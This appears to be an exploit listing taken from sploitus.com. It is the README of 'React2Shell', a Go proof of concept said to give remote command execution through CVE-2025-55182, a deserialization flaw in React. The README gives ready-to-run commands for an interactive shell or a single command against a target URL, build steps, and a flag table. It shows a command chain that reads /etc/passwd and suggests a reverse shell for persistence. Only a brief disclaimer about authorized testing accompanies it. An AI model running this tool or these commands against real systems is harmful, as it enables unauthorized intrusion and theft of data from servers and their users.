Exploit for Deserialization of Untrusted Data in Facebook React CVE-2025-55182

## https://sploitus.com/exploit?id=555690BB-FF47-5A1D-B472-1BFA31DCD5D3
# React2Shell

CVE-2025-55182 PoC

## Usage

```bash
# Interactive shell
./react2shell -u http://target:3000

# Single command
./react2shell -u http://target:3000 -c "id"
```

## Build

```bash
go build -o react2shell .
```

## Options

| Flag | Description |
|------|-------------|
| `-u` | Target URL |
| `-c` | Execute single command and exit |

## Notes

- Each command runs in a new shell session
- Use `;` or `&&` to chain commands: `cd /etc && cat passwd`
- For persistent shell, use reverse shell

## Disclaimer

For authorized security testing only.